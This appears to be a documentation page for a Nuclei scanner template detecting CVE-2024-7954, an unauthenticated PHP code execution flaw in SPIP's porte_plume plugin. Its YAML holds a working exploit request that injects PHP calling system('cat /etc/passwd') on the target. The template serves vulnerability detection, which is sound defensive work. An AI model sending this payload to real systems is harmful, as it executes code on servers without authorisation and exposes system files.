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SPIP Porte Plume Plugin - Remote Code Execution

ID: CVE-2024-7954

Severity: critical

Author: s4e-io

Tags: cve,cve2024,spip,rce

Description

Section titled “Description”

The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.

YAML Source

Section titled “YAML Source”
id: CVE-2024-7954


info:
  name: SPIP Porte Plume Plugin - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.
  reference:
    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html
    - https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/
    - https://vulncheck.com/advisories/spip-porte-plume
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7954
    - https://github.com/bigb0x/CVE-2024-7954
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7954
    cwe-id: CWE-284
    epss-score: 0.00045
    epss-percentile: 0.16328
  metadata:
    max-request: 1
    vendor: spip
    product: spip
    fofa-query: app="SPIP"
  tags: cve,cve2024,spip,rce


http:
  - raw:
      - |
        POST /index.php?action=porte_plume_previsu HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'


      - type: word
        part: header
        words:
          - 'Composed-By: SPIP'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100abd45437caf31fd668b032e5519a0628553426a17ce394369dcd4003e8f2434202201b8ba1a18e70940f5d599ad6f3bdf7028002971391715721ba270703b0ea662e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-7954.yaml"

View on Github